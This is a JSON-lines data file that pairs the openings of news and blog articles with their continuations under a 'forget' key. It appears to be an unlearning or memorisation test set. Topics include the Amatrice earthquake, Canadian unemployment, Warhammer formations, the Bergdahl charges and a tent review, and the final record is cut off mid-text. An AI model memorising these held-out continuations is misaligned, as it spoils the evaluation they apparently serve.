{"prompt": "Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings. Aug. 28, 2016, 12:14 PM GMT / Updated Aug. 28, 2016, 1:37 PM GMT By The Associated Press AMATRICE, Italy \u2014 Bulldozers and other heavy equipment rolled through Italy's quake-devastated town of Amatrice on Sunday, pulling down dangerously overhanging ledges and clearing rubble as investigators tried to figure out if negligence in enforcing building codes added to the quake's high death toll. Investigations will focus on a number of structures, including an elementary school in Amatrice that crumbled when the quake", "forget": "hit Wednesday. The school was renovated in 2012 to resist earthquakes at a cost of 700,000 euros ($785,000). Questions also surround a bell tower in Accumoli that collapsed, killing a family of four sleeping in a neighboring house \u2014 including a baby of 8 months and a 7-year-old boy. That bell tower also had been recently restored with special funds allocated after Italy's last major earthquake, in L'Aquila in 2009. Firefighters gather near the damaged Sant'Agostino church in Amatrice on Sunday. ANDREAS SOLARO / AFP - Getty Images The quake early Wednesday killed 290 people and injured hundreds as it flattened three medieval towns in central Italy. Giuseppe Saieva, the prosecutor in the regional capital of Rieti, said the high human death toll \"cannot only be considered the work of fate.\" He said for now, police investigators remained focused on recovery efforts but once that emergency phase has passed, they will concentrate on the investigations. Italy's state museums, meanwhile, embarked on a fundraising campaign, donating their proceeds Sunday to relief and reconstruction efforts in the earthquake zone. Wednesday's 6.2 magnitude quake destroyed not only private homes but also churches and other centuries-old cultural treasures. The idea is to use art for art \u2014 harnessing the nation's rich artistic heritage to help recover and restore other objects of beauty in the hard-hit towns. Related: Tears Flow as Italy Holds Mass Funeral for Quake Victims Overnight was relatively calm, the first since the quake struck without strong aftershocks. In all, the region has seen 1,820 aftershocks, according to the National Institute of Geophysics and Volcanology. On Saturday, mourners prayed, hugged, wept and even applauded as coffins carrying earthquake victims passed by at a state funeral in the town of Ascoli Piceno. The caskets of 35 people had been brought to a community"}
{"prompt": "The percentage of working-age Canadians who aren\u2019t working \u2013 who aren\u2019t even looking for a job \u2013 is at a historic high years after the economy supposedly bounced back from the recession. The labour participation rate for Canadian men in their working prime \u2013 ages 25 through 54 \u2013 is the lowest it\u2019s been since Statistics Canada started collecting that data. Women\u2019s participation rate, rising since the 1950s, has been largely stagnant since 2006. Canadians want to work. They\u2019re settling for temp, seasonal or part-time jobs, without the stability of a pension or benefits, to stay in the workforce. But", "forget": "for many, the numbers just don\u2019t add up. They go back to school; they settle for seasonal, contract work; some just throw in the towel. Read the series Government response: What the feds had to say about Canadians\u2019 labour instability trap \u2018Like banging your head against a wall\u2019 Jillanne Mignon quit her job because she couldn\u2019t afford it. She was working a decent gig for the city of Winnipeg\u2019s 311 service \u2013 a job she\u2019d left her university program to take so she could support her toddler son, Michael. But even with that salary, she found herself in a cycle of debt just to pay for child care. \u201cWhen there\u2019s a subsidy, there\u2019s no spaces. When there are spaces, there\u2019s no subsidy. \u2026 \u201cWhen you have people depending on you and you can\u2019t give them all that you want, it\u2019s nightmarish.\u201d Watch: Mark McAllister looks into why so many Canadians have stopped looking for work. Ultimately, she realized it just didn\u2019t make sense. \u201cI\u2019m going to work to pay for childcare because I don\u2019t want to be on welfare. \u201cBut then it\u2019s better if I go on welfare because then I don\u2019t have to worry about childcare because welfare won\u2019t force me to go to work until my kid is six. So I\u2019m tired. And I don\u2019t know what I want to do. \u201cIt\u2019s like banging your head against a wall.\u201d So she quit her job. Moved to Toronto, where the combination of family support and all-day kindergarten helped with child care. Swallowed her pride and went on welfare. \u201cWhen you have student loans and you still have to go on welfare, that hurts. Because you\u2019ve tried to educate yourself so you don\u2019t have to be dependent on the government for social assistance,\u201d she said. It sounds like an inconceivable"}
{"prompt": "The Ork \u2018Decurion\u2019 pieces are starting to come out \u2013 Come see the latest formations that fit in the Ork Jig-saw puzzle! via Captain Citadel, 2-25-2016 via Games Workshop Here is where these formations will fit in the Ork \u201cdecurion\u201d detachment we saw earlier in the week: via hordrak On dakkadakka We now have a pretty good picture of how this all fits together. The Waaagh-Band is the new \u201cgreentide\u201d replacement and then you take the Council of the Waaagh to get Ghaz and his crew. Sprinkle in some other formations like the Dakkajets or Painboy mob and you\u2019ve got", "forget": "your self a big green wrecking ball. Digital Edition $32.99 Waaagh Ghazghkull \u2013 a Codex: Orks Supplement is your complete guide to Ghazghkull\u2019s crusade. Inside you will find the full background tale of the rise of the greatest Ork Warlord to ever stomp across the galaxy. As well as rules for fielding an army worthy of Ghazghkull in your games of Warhammer 40,000, you will find a lavish showcase demonstrating the impressive range of models, as well as colours and icons of the many units and formations fighting in the warlord\u2019s force. DESCRIPTION It has long been said that should the disparate Orks ever unify beneath one leader they would crush all of the so-called civilised peoples of the galaxy. That doomsday draws nearer, for the great greenskin Warlord Ghazghkull Thraka has arisen, and Orks from all clans muster to his bellowing warcry. He is not just a mighty warrior, but a master strategist and the living Prophet of Gork and Mork \u2013 the brutal greenskin gods. Already star systems burn upon his orders, and more will soon follow. Ghazghkull has called the Great Waaagh!, drawing towards him the most warlike of his savage race. Goff warbands, Speed Freeks, Dread Mobz \u2013 all have crossed the stars in their seething multitudes to join the greatest Ork crusade in a millennium. This time, nothing will stop the green tide. In this book you will find: A comprehensive history of Ghazghkull Thraka, his battle to become supreme amongst the greenskins, and his wars against the Imperium A showcase of incredible Ork Citadel Miniatures A brand new detachment with which to build your Ork army: the Great Waaagh!-band 14 formations that can be used in any Ork horde Special rules, Warlord Traits and Kustom Gubbinz unique to Waaagh! Ghazghkull forces 3 Altar of"}
{"prompt": "\u2022 Ars\u00e8ne Wenger confident over transfer after productive talks \u2022 Alexis S\u00e1nchez says he has decided where he will play next season Ars\u00e8ne Wenger is increasingly confident of completing what stands to be an Arsenal record transfer for the striker Alexandre Lacazette after productive talks with Lyon. The manager is keen to strengthen in attacking areas, particularly as he fights to keep hold of Alexis S\u00e1nchez, who is wanted by Manchester City, among other clubs, and he has seen a \u20ac35m (\u00a330.7m) bid turned down by Monaco for the left winger Thomas Lemar. Monaco are adamant Lemar will not be", "forget": "sold. Arsenal emotions run high with talk of change not yet matched by actions Read more But Arsenal are making progress on their move for Lacazette, whom Jean-Michel Aulas, the Lyon president, has said is worth \u20ac65m. Aulas has told Arsenal they must \u201cbe in those waters\u201d as Atl\u00e9tico Madrid were ready to pay that before they were banned from registering players until January 2018. Arsenal value Lacazette at \u20ac50m, which they have indicated they are willing to pay, but they are prepared to go higher, most likely with performance-related add-ons, to close the deal. They are hopeful that Aulas will compromise slightly. Lacazette, 26, whom Wenger has tried to sign in the past, has 11 France caps and is under contract to 2019. Arsenal\u2019s transfer record is the \u00a342.5m paid to Real Madrid for Mesut \u00d6zil in 2013. S\u00e1nchez has made up his mind about where he will play next season but the striker would not say whether it would still be at Arsenal. S\u00e1nchez has one year to run on his contract and has given no indication he is ready to sign another one, despite the club\u2019s desperation to tie him down. Manchester City are confident of signing the 28-year-old for around \u00a350m. They believe they have the means to beat Arsenal in terms of a salary package. S\u00e1nchez is playing in the Confederations Cup in Russia where Chile will play Germany in the final on Sunday. He was presented for interview on Friday alongside his international team-mate Claudio Bravo, who plays at City. S\u00e1nchez was asked whether he would be a club-mate of Bravo\u2019s next season. \u201cGood question,\u201d he replied. \u201cRight now, I am focused on the Confederations Cup. When this is finished, I will see if I stay or if I go. I don\u2019t know.\u201d He"}
{"prompt": "Show of hands, please: Who thought, back in February, that we\u2019d be approaching Memorial Day with the Baltimore Orioles in possession of the second-best record in the American League? Uh-huh; not many of you. Now: Who thought instead, three months ago, that the 2016 Orioles would be fortunate to end the season with 75 wins? A few more, and we are among you. We won\u2019t revisit our thinking, if you can call it that. We will point out, though, that the Orioles will certainly come partway back to earth. First of all, none of the other teams in the AL", "forget": "East are going to be pushovers. More importantly, the Orioles have been somewhat fortunate so far this year, just as they were somewhat unfortunate last year. Their record today is 26-17; their Pythagorean projection (we\u2019ll assume you know what we mean) has them more like 24-19. Conversely, the 2015 Orioles finished 81-81, whereas their Pythagorean projection had them more like 83-79\u2014which, over 43 games, makes for 22 wins. The small difference between the seasons can be fully accounted for by the acquisition of Mark Trumbo and the advent of Kevin Gausman. We confess to being mistaken about the Orioles not only in bulk but at retail. Sure, we (sort of) touted Joey Rickard before (we think) anyone else, and we\u2019re proud of it (although he certainly has cooled off). But we didn\u2019t envision a bounceback by Chris Tillman. And the guy we absolutely adored on draft day was Pedro (.191/.300/.351) Alvarez. You know how MLB might try to make games shorter by using automatic intentional walks? We propose automatic strikeouts, starting with Pedro. Don\u2019t even bother having him approach home plate. So our Orioles picks have been wrong. But perhaps our next Orioles pick will be right. In fact, we\u2019re sure it will be: Mike Wright, starting pitcher. His story so far, in telegraphese: right-handed, 26 years old, former good-not-great prospect, 6.04 ERA in 9-start audition last season, 4.97 ERA in 7 starts this season, durable, hard thrower, good stuff, command problems, misses too few bats, owned in 1% of Yahoo and ESPN leagues. A compelling addition to your Fantasy squad, correct? Wright is nonetheless extremely interesting, because he and his surroundings have a virtually pharmaceutical purity if you\u2019re inclined to see them, as we are, as elements of a laboratory experiment. Our regular readers, if there are any, know"}
{"prompt": "Although my wife and I have taken several trips together since getting married, we still haven\u2019t gone on an official honeymoon. My old job required me to work weekends and I couldn\u2019t take any time off around the date of our wedding ceremony, so I was back in the office two days after saying \u201cI do.\u201d As such, my wife and I didn\u2019t get to do the typical newlywed travel activities. You know, things like toasting each other with champagne every night for a week, lounging on the beach and giggling as we call each other Mr. and Mrs. Baseel,", "forget": "or beating the hell out of a convenience store clerk, like the Chinese newlyweds who are not only just married, but were also just arrested in Japan. On the morning of Saturday, September 26, a pair of newlywed Chinese nationals, the groom 36 and the bride 25, walked into a convenience store in the Chuo Ward of Sapporo, the largest city on Japan\u2019s northern island of Hokkaido. Apparently craving a post-breakfast treat, they grabbed a package of ice cream from the cooler box, opened it up, and started munching away on it in the store. Unless you\u2019re the Dalai Lama, however, Japanese convenience stores prefer you pay for the merchandise before you start consuming it. When the 24-year-old Japanese male clerk who was on-duty spotted what the couple was doing, he gestured for them to leave the store. It\u2019s unclear whether he first tried to speak to the couple in Japanese, or why he gestured for them to leave the store instead of pay for their ice cream. What is clear, though, is that the couple responded by punching him in the face, kicking him, and grabbing his hair. While two-on-one-ing a common opponent with that move set will get you a high score in Double Dragon, it\u2019s generally frowned upon in the real world of inexpensive snack commerce. The police were called, arrived to find the assault ongoing, and promptly arrested the pair. The husband, who told the authorities he is a banker from Shanghai and that he and his wife are on their honeymoon in Japan, said that he felt the clerk was being disrespectful, giving his statement as \u201cI thought my wife was being insulted. It is true that I hit him.\u201d The pair remain in police custody, and now face the possibility of having to downgrade"}
{"prompt": "Pin Share 27 Shares The Authors Guild had the ground cut out from under them today in an important copyright lawsuit. The Second Circuit of Appeals released a ruling this morning which largely upheld Judge Harold Baer's October 2012 decision in The Authors Guild v HathiTrust, and went one step better. The court affirmed that the HathiTrust's book scanning efforts were fair use, and they also ruled that The Authors Guild had no standing to sue in the first place. The HathiTrust Digital Library is a consortium of universities and public libraries. Firmed in 2008, this group had the goal", "forget": "of digitizing out of print and rare tomes in their collections in order to preserve the works and make them more widely available. A number of these organizations have also participated in the similar Google Books project, but unlike Google HathiTrust has no plans to commercialize their efforts. The Authors Guild, along author groups in Canada, Norway, Australia, and Sweden, sued the HathiTrust in 2011, alleging that the book scanning amounted to copyright infringement. In October 2012 Judge Baer ruled in favor of the HathiTrust, issuing a summary judgement which stated, in part, \"Although I recognize that the facts here may on some levels be without precedent, I am convinced that they fall safely within the protection of fair use\". The author groups of course appealed the ruling, and today they lost. The Appeals Court ruled that \"the doctrine of fair use allows defendants-appellees to create a full-text searchable database of copyrighted works and to provide those works in formats accessible to those with disabilities\", thus giving the HathiTrust a green light to continue their work. In addition, the Appeals Court also sidestepped one of the issues, noting that the HathiTrust's intention to let member organizations create a replacement copy of a scanned book was outside the scope of this trial. The Appeals Court pointed out that it's not clear \"whether the plaintiffs own copyrights in any works that would be effectively irreplaceable at a fair price by the Libraries and, thus, would be potentially subject to being copied by the Libraries in case of the loss or destruction of an original\". And finally, the Appeals Court declined to rule on the University of Michigan's related Orphan Works Project, stating that \"the infringement claims asserted in connection with the OWP were not ripe for adjudication because the project has been"}
{"prompt": "U.S. Army officials announced that Sgt. Bowe Bergdahl, who was captured and spent five years in captivity in Afghanistan after leaving his post, has been charged with desertion and misbehavior before the enemy. (Department of Defense) Sgt. Bowe Bergdahl, the U.S. soldier who slipped away from his patrol base in Afghanistan in 2009 and was held in captivity for five years, has been charged with desertion and misbehaving before the enemy, Army officials said Wednesday, setting the stage for emotionally charged court proceedings in coming months. The charges were announced by the service at Fort Bragg, N.C., hours after the", "forget": "28-year-old was handed a charge sheet, according to one of his attorneys. Bergdahl will next face a preliminary Article 32 hearing, which is frequently compared to a grand jury proceeding in civilian court. [Checkpoint: For first time, Bowe Bergdahl describes publicly his harsh treatment in captivity] If convicted, he faces the possibility of life in prison. The Army\u2019s decision comes after nearly 10 months of debate about whether Bergdahl should face charges and about the circumstances of his recovery. Critics \u2014 and an independent review by the Government Accountability Office \u2014 said President Obama broke the law in authorizing the release of five Taliban detainees held by the United States in exchange for Bergdahl without consulting Congress. Others have insisted that Washington had a responsibility to bring Bergdahl home by any means necessary. Army officials declined Wednesday to elaborate on the decisions they made, citing the ongoing investigation. The charges were authorized by Gen. Mark A. Milley, the commanding general of U.S. Army Forces Command. [Anger from those who consider Bowe Bergdahl a deserter] Members of Bergdahl\u2019s defense team said Wednesday that they still have not been granted access to the contents of an Army investigation launched last year to look into his disappearance, and the lawyers disputed reports that they had been engaged in plea negotiations. \u201cWe ask that all Americans continue to withhold judgment until the facts of the case emerge,\u201d the lawyers said in a statement. \u201cWe also ask that government officials refrain from leaking information or engaging in other conduct that endangers our client\u2019s right to a fair trial.\u201d Bergdahl\u2019s attorneys released a lengthy March 2 letter they wrote to Milley urging leniency in light of his time in captivity. They also released a statement to Milley from Bergdahl in which he described being chained to"}
{"prompt": "For two years, it was the sculpture nobody would take: a life-sized Jesus sleeping on a park bench with his bare feet, wounded from his crucifixion, poking out from under a blanket. But now Jesus the Homeless and its Canadian sculptor have a new fan in the Vatican: Pope Francis. Pope Francis praying at a model of the Jesus the Homeless sculpture by Canadian artist Timothy Schmalz in St. Peter's Square on Nov. 20. ( Vatican photo ) Canadian sculptor Timothy Schmalz meets Pope Francis in St. Peter's Square on Nov. 20. ( Vatican photo ) Timothy Schmalz brought the", "forget": "original wooden model of his sculpture to St. Peter\u2019s Square last Wednesday to present to the leader of the Roman Catholic Church. After his weekly general audience, the Pope prayed over the statue and blessed it, Schmalz said. \u201cIt is very, very amazing for a sculptor to have that,\u201d he said. \u201cAfter, the Vatican officials introduced me to Pope Francis and he said he thought Jesus the Homeless was a beautiful sculpture. So needless to say, I\u2019m very excited about that.\u201d The model is going to stay in one of the Vatican houses, he said, and he is working to find an outdoor location near St. Peter\u2019s for the full-sized bronze version. Article Continued Below Schmalz, 44, is a sculptor of Christian-themed works who lives in St. Jacobs, near Waterloo. For about two years after he created his 2 1/2-metre-long sculpture, he couldn\u2019t find a location to display it, he said. It was turned down by both St. Michael\u2019s Cathedral in Toronto and St. Patrick\u2019s Cathedral in New York City. Jesus the Homeless eventually found its way to Regis College, the Jesuit school of theology at the University of Toronto. Since it was installed in April, two of its admirers in the Catholic Church recommended Schmalz\u2019s work to the Vatican, he said. A few weeks ago, he got the invitation to last Wednesday\u2019s papal audience. Schmalz says his vision of Jesus as a homeless person was inspired by a passage in the Gospel of Matthew. Jesus tells his followers that whenever they help a person in need \u2014 \u201cthe least of my brothers and sisters\u201d \u2014 they do it to him. \u201cIf you go to Rome and go to all the beautiful cathedrals, you will not see a representation (of Jesus) that shows him so close to the marginalized people,\u201d"}
{"prompt": "It happens hundreds of times a day: We press snooze on the alarm clock, we pick a shirt out of the closet, we reach for a beer in the fridge. In each case, we conceive of ourselves as free agents, consciously guiding our bodies in purposeful ways. But what does science have to say about the true source of this experience? In a classic paper published almost 20 years ago, the psychologists Dan Wegner and Thalia Wheatley made a revolutionary proposal: The experience of intentionally willing an action, they suggested, is often nothing more than a post hoc causal inference", "forget": "that our thoughts caused some behavior. The feeling itself, however, plays no causal role in producing that behavior. This could sometimes lead us to think we made a choice when we actually didn\u2019t or think we made a different choice than we actually did. But there\u2019s a mystery here. Suppose, as Wegner and Wheatley propose, that we observe ourselves (unconsciously) perform some action, like picking out a box of cereal in the grocery store, and then only afterwards come to infer that we did this intentionally. If this is the true sequence of events, how could we be deceived into believing that we had intentionally made our choice before the consequences of this action were observed? This explanation for how we think of our agency would seem to require supernatural backwards causation, with our experience of conscious will being both a product and an apparent cause of behavior. In a study just published in Psychological Science, Paul Bloom and I explore a radical\u2014but non-magical\u2014solution to this puzzle. Perhaps in the very moments that we experience a choice, our minds are rewriting history, fooling us into thinking that this choice\u2014that was actually completed after its consequences were subconsciously perceived\u2014was a choice that we had made all along. Though the precise way in which the mind could do this is still not fully understood, similar phenomena have been documented elsewhere. For example, we see the apparent motion of a dot before seeing that dot reach its destination, and we feel phantom touches moving up our arm before feeling an actual touch further up our arm. \u201cPostdictive\u201d illusions of this sort are typically explained by noting that there\u2019s a delay in the time it takes information out in the world to reach conscious awareness: Because it lags slightly behind reality, consciousness can \u201canticipate\u201d"}
{"prompt": "Coding \u25cf May 2016 The unintended byproducts of refactoring code Whenever I start on a large refactoring, I need to justify that the exercise is truly worthwhile. Am I objectively and unequivocally improving the understandability of the codebase? If I\u2019ve finished and the codebase is no more readable or maintainable than it was when I began, I\u2019d argue there were better ways to have used my time. While the goal might seem obvious, executing on it is often trickier than you\u2019d think. The two goals of any refactoring Every refactoring has two goals. The immediate goal is technical. I have", "forget": "something in my code that doesn\u2019t feel quite right. Perhaps it\u2019s a leaky abstraction, a convoluted dependency, repeated code, or a poorly encapsulated concept that festers throughout the entire application. I then start laying out the roadmap to get from the code-at-present-moment to the glorious vision of my future code. With the completion of each small step, I re-run my automated tests, commit, then move on. After enough iterations, my plan slowly begins aligning like the pieces on a Tetris board. Eventually, I get to that one final, satisfying refactoring step\u2014the long piece, if you will. Ahhh\u2026.the long-awaited completion of a refactoring It is at this point where the abscess has been removed and whatever smelled in my codebase no longer smells. I\u2019m ready to pull the fresh new code into our master branch. However, It\u2019s easy to fall into the trap of assuming the work is done. That\u2019s because the second goal of a refactoring is the more important one. Has the understandability of the codebase actually improved? If you\u2019ve achieved the technical goal (the leak is gone!), then, you\u2019d think the codebase would automatically be more readable and maintainable. But, I\u2019ve found that the tunnel-vision attention required to achieve the technical goal-at-hand can blind me to this second\u2014more critical\u2014goal. That new refactoring smell If refactoring is like carpentry, then, accomplishing its technical goals will leave some unwanted byproducts\u2014 discarded pieces left unknowingly on the workbench or a film of sawdust hovering over the entire body of work. In order to make a refactoring truly complete, we need to go back, wipe up our workspace, and apply some polish. After you celebrate the technical achievements of your newly-updated code, look back at your work holistically to see if you haven\u2019t inadvertently introduced some new smells. Make sure you haven\u2019t"}
{"prompt": "\u00d7 \u2018I couldn\u2019t move\u2019 New study documents what happens to patients who wake up during surgery (CNN) \u2014 \u201cI was awake but paralyzed,\u201d says Carol Weihrer as she recalls undergoing eye surgery in 1998. \u201cI could hear the surgeon telling his trainee to \u2018cut deeper into the eye,'\u201d she says. \u201cI was screaming, but no one could hear me. I felt no pain, just a tugging sensation. I tried to move my toes or even push myself off the operating table, but I couldn\u2019t move. I thought I was dying.\u201d The Reston, Virginia, resident inadvertently woke up during surgery, an", "forget": "infrequent phenomenon called \u201caccidental awareness during general anesthesia.\u201d She\u2019s been struggling with post-traumatic stress disorder ever since. \u201cI\u2019ve had to sleep in a recliner for the last 16 years,\u201d Weihrer says. \u201cIf I lie flat, I get flashbacks of the operating table and I start violently thrashing.\u201d Fortunately, anesthetic awareness is rare. But new research is shedding light onto risk factors and the devastating psychological effects the phenomenon can have on patients who experience it, especially those who are awake and paralyzed. The numbers According to the largest study of its kind recently published in the journal Anaesthesia \u2014 in which researchers surveyed more than 3 million patients who received general anesthesia in the United Kingdom and Ireland \u2014 roughly one in 19,600 patients \u201caccidentally\u201d wakes up during surgery. Previous studies in the United States reported a far higher rate of one in 1,000 surgical patients. However, cases of anesthetic awareness in the new study were reported voluntarily by patients, which could misrepresent the true number. Researchers did find that certain surgeries requiring \u201clighter\u201d anesthesia, like emergency C-sections, carried a higher risk \u2014 a rate of one in 670. Most incidents of anesthetic awareness occurred among patients who had received paralytics as part of their anesthetic cocktail \u2014 presumably since they couldn\u2019t move to alert doctors to the fact they were regaining consciousness. Contrary to folklore, awareness was most likely to occur when patients were being put to sleep before surgery started or after the surgery had ended \u2014 not when the surgeon was actually operating. Patients described a range of sensations, including choking, paralysis, pain, hallucinations, and near-death experiences. Most episodes were short-lived, with 75% of them lasting under five minutes. Despite this, nearly half of all patients who were conscious during surgery had long-term psychological consequences such as"}
{"prompt": "Right photo by Diana Davies from the New York Public Library The Stonewall Rebellion, when lesbian, gay, bisexual and transgender people fought back against police repression at a Greenwich Village bar with a six-day riot in June 1969 is considered the birth of the modern \"gay rights\" movement. President Barack Obama just declared June LGBT Pride Month in the United States, following an example set by President Bill Clinton during his second term. (This year, Secretary of State Hillary Clinton issued her own proclamation at the State Department.) Obama then switched his position and let his Justice Department file briefs", "forget": "supporting both the Defense of Marriage Act, prohibiting federal recognition of legal same-sex marriages, and the Don't Ask, Don't Tell policy excluding open gays from the military -- even though he campaigned against both laws. The 40th anniversary will be marked by the usual LGBT Pride Parade down Fifth Avenue and by pride marches all around the world from Youngstown, Ohio, which is having its first this year, to Moscow, Russia, where activists get beaten every year by skinheads and police. There now are separate African American pride parades across the U.S. as well. Stonewall gives New York a certain preeminence in the LGBT movement, but the clash was neither the first public display of gay resistance, nor has the city and state maintained their claim to be the world leader in progress since then. Five states -- from Massachusetts to Iowa -- have already beat us to opening up marriage to gay couples. Maybe it is New York arrogance, but it was not until this year that New York City launched an ad campaign, euphemistically called \"Rainbow Pilgrimage,\" seeking gay tourism -- something that cities such as London and Amsterdam have been doing for years. (Maybe the rainbow theme is meant to pick up on the 40th anniversary of the death of Judy Garland, whose signature song was \"Over the Rainbow.\") With gay issues so much in the forefront this year, it's a good time to look at some examples of where New York has led and where it has followed -- despite its reputation as the birthplace of the modern movement. Pre-Stonewall History While the religious right likes to speak about homosexuality as something that was always condemned, plenty of cultures have celebrated it -- the evidence appears on some of the Greek urns in the Metropolitan Museum"}
{"prompt": "The driver of a bus that struck and killed a cyclist just outside the Olympic Park in Stratford while ferrying journalists between venues has been bailed until August, police have said. The 28-year-old man was knocked down by the doubledecker in Ruckholt Road, at the junction with the A12, at about 7.40pm on Wednesday. An air ambulance doctor pronounced him dead at the scene. A Metropolitan police spokesman said a man in his mid-60s had been arrested just outside the Olympic Park at 9.28pm on suspicion of causing death by dangerous driving. The victim is expected to be formally identified", "forget": "later on Thursday. A date for a postmortem examination is yet to be fixed. After the fatal incident, Bradley Wiggins, who by winning a gold medal on Wednesday became Britain's most decorated Olympian, warned of the perils of cycling in the capital. \"It's dangerous and London is a busy city and [there is] a lot of traffic. I think we have to help ourselves sometimes,\" he said. \"I haven't lived in London for 10 to 15 years now and it's got a lot busier since I was riding a bike as a kid round here, and I got knocked off several times. \"But I think things are improving to a degree. There are organisations out there who are attempting to make the roads safer for both parties. But at the end of the day we've all got to co-exist on the roads. \"Cyclists are not ever going to go away as much as drivers moan, and as much as cyclists maybe moan about certain drivers they are never going to go away, so there's got to be a bit of give and take.\" Wiggins said he would like to see the introduction of a law making it compulsory to wear cycling helmets. He later clarified his comments on twitter. \"Just to confirm I haven't called for helmets to be made the law as reports suggest.\" \"I suggested it may be the way to go to give cyclists more protection legally if involved in an accident. \"I wasn't on me soap box CALLING, was asked what I thought.\" Responding to his comments, Chris Peck, the policy coordinator for the UK's national cycling organisation the CTC said that making helmets compulsory would be counter-productive. He told Radio 5 live. \"Making cycle helmets compulsory would be likely to have an overall damaging effect"}
{"prompt": "The Catholic Archdiocese of Kansas City has decided to cut ties with the Girl Scouts. Archbishop Joseph F Naumann announced on Monday that he\u2019s asked churches in his archdiocese to transition away from hosting Girl Scout troops, in favor of partnering with the Christian scouting organization, American Heritage Girls. Parishes in the diocese were given the choice to stop chartering Girl Scout troops immediately, or graduate scouts already in the program to American Heritage Girl troops over the next few years. Previously, Naumann had told priests to end sales of the Girls Scouts\u2019 famous cookies, according to the Kansas City", "forget": "Star. \u201cNo Girl Scout cookie sales should occur in Catholic Schools or on parish property after the 2016-2017 school year,\u201d he said in a letter sent to priests in his parish in January. BRENDAN SMIALOWSKI via Getty Images The archbishop of Kansas City, Kansas, Joseph Naumann (left). The problem with Girl Scouts, according to Naumann, is that their programs and materials can cause children to be \u201cmisled and misinformed\u201d by \u201csecular culture.\u201d \u201cTo follow Jesus and his Gospel will often require us to be counter-cultural,\u201d Naumann wrote in his statement. \u201cWith the promotion by Girl Scouts USA (GSUSA) of programs and materials reflective of many of the troubling trends in our secular culture, they are no longer a compatible partner in helping us form young women with the virtues and values of the Gospel.\u201d In particular, Naumann pointed to the fact that Girl Scouts USA pays membership dues to the World Association of Girl Guides and Girl Scouts (WAGGGS), which the archbishop claims has ties to International Planned Parenthood. Naumann also referred to how Girls Scouts materials portray birth control activist Margaret Sanger and feminists Betty Friedan and Gloria Steinem as role models. \u201cThese as well as many other \u2018role models\u2019 in the GSUSA\u2019s new manuals and web content not only do not reflect our Catholic worldview but stand in stark opposition to what we believe,\u201d he wrote. \u201cOur greatest responsibility as a church is to the children and young people in our care,\u201d Naumann wrote in his statement. \u201cWe have a limited time and number of opportunities to impact the formation of our young people. It is essential that all youth programs at our parishes affirm virtues and values consistent with our Catholic faith.\u201d John Moore via Getty Images Girl Scouts sell cookies as a winter storm moves in"}
{"prompt": "An extraordinary thing happened in the Houses of Parliament on Tuesday . A member of the seven-strong Backbench Business Committee burst out laughing at the suggestion that MPs should be allowed to debate a range of gender issues including domestic violence, suicide and premature mortality rates. In an age when offending the sensibilities of anti-sexism campaigners can cause Nobel laureates to be sacked and drive astrophysicists with unfortunate dress sense to tears of redemption , it\u2019s a miracle there hasn\u2019t been another hysterical lynching in the court of public opinion. At least it would be if it were a male", "forget": "politician caught on camera chortling at the suggestion that parliament should discuss issues like violence against women, breast cancer screening and eating disorders. The reason the media hasn\u2019t grabbed hold of SniggerGate yet, is that the sniggering MP is female and the gendered problems she appears to find funny are issues that disproportionately affect men and boys. (You can watch the debate in full on Parliamentlive.tv's archive. Fast forward to 14:54:10.) On the day that Jess Phillips MP sniggered at the suggestion that men\u2019s issues should be discussed in Parliament on International Men\u2019s Day, another 13 men died from suicide. It\u2019s not funny. Not for the men whose lives were lost and not for their friends and family. Suicide is a men\u2019s issue and if we don\u2019t talk about the problem, we can\u2019t solve it. On the day the Labour member for Birmingham Yardley clapped her hands over her mouth to stop herself guffawing at Philip Davies MP\u2019s request for a debate on men\u2019s issues, more than 200 men died of cancer. As a nation we spend more time, money and energy trying to prevent, detect and cure female cancers in the UK \u2013 and yet men are 58pc more likely to die of cancer before the age of 65 than women. I don\u2019t think that\u2019s hilarious. Not for the men who die before their time and not for the loved ones they leave behind. Men of all classes have a lower life expectancy than women of the same background. It\u2019s a men\u2019s issue and like all men\u2019s issues, we can\u2019t solve it if we don\u2019t discuss it. \"We\u2019re collectively more tolerant of the harm that happens to men and boys\" Glen Poole On the day that the former manager of a charity supporting victims of domestic violence snorted at"}
{"prompt": "Your marriage has come to an end, and now that you have decided to divorce, you are in the situation of hiring a lawyer. You may even wonder if your services are necessary. Here we will explain why they are. Surely you know cases of cordial divorces and on good terms, and other catastrophic. In addition to the personality of those involved, this also has to do with the expertise of the lawyers in charge. In general, the less you need to go to court, the less painful and faster the divorce is. But anyway, even when you and your", "forget": "spouse have agreed to divorce, it is advisable that both have legal advice. And this is because, beyond the emotional consequences that lead to the dissolution of the marriage bond, there are also legal aspects that cannot be ignored. A lawyer specialized in divorces will know how to guide you through this process, solving the pitfalls that arise along the way. Start by asking for references to family and friends. And when you meet with the lawyers, ask about their experience and credentials. Serious lawyers will always be able to provide you with references from other clients. If you and your spouse have been able to agree on important points such as home, child custody, and joint property, it is even possible for a single lawyer to resolve minor legal issues, such as paperwork. However, if a disagreement arises between the clients, the lawyer has an ethical obligation to transfer at least one of them to another lawyer. In the most complicated divorces, as if there had been physical or verbal abuse, infidelity or addictions, it is essential to have the services of a lawyer, especially to protect children Division of property The more property you and your spouse jointly own the more complicated this process will be. Washington is a community property state. By these statutes, all goods acquired during the marriage, including those made in the name of an individual, are seen as belonging to both parties. In the case of divorce, this means that everything can be divided between you and your spouse equitably. The assets will be distributed so that each party leaves in relatively equal conditions. Custody of the child One factor that often causes problems in a divorce is custody of the child. You and your spouse will have to solve these problems. When"}
{"prompt": "It\u2019s Date Night with the Stoic Templum 2.1 ! Unfortunately, that\u2019s a date between the tent and I\u2026 my girlfriend is in China for the week. I knew I was going to need a two-person tent eventually. Love might be in the air, but it\u2019s a cold, hard breakup between my beloved Big Ag Fly Creek 1 Platinum and I. I initially approached finding a 2-person tent as my only shelter, since I still have to budget around $300 for a tent and not much more. I wanted something big enough that it\u2019d make for many romantic forest-bound evenings and", "forget": "group trips with friends or my brothers, but I needed it to be light enough that I could still strap it on the bike for an ultralight 200-mile overnight dash. I failed. That tent doesn\u2019t exist. So, instead, I diversified my holdings. I bought the cheapest tent I could find (above the department store variety, which are a terrible investment) and bought a bivy bag for solo trips. I\u2019ll tell you what I think of the Stoic in a minute. My second shelter was a Borah Gear Snowyside Bivy. The Borah Gear Snowyside Bivy was an equal bargain. This is a new offering from Borah Gear, a small \u2018cottage\u2019 company in the United States that makes ultralight tarps and bivy bags. Their Snowyside bivy is pretty customizeable, but it takes about 3 weeks to ship so they can actually sew it up for you. I added taped seams, a side zipper, and a full eVent floor instead of silnylon. What I got is a sub-2lb fully enclosed shelter 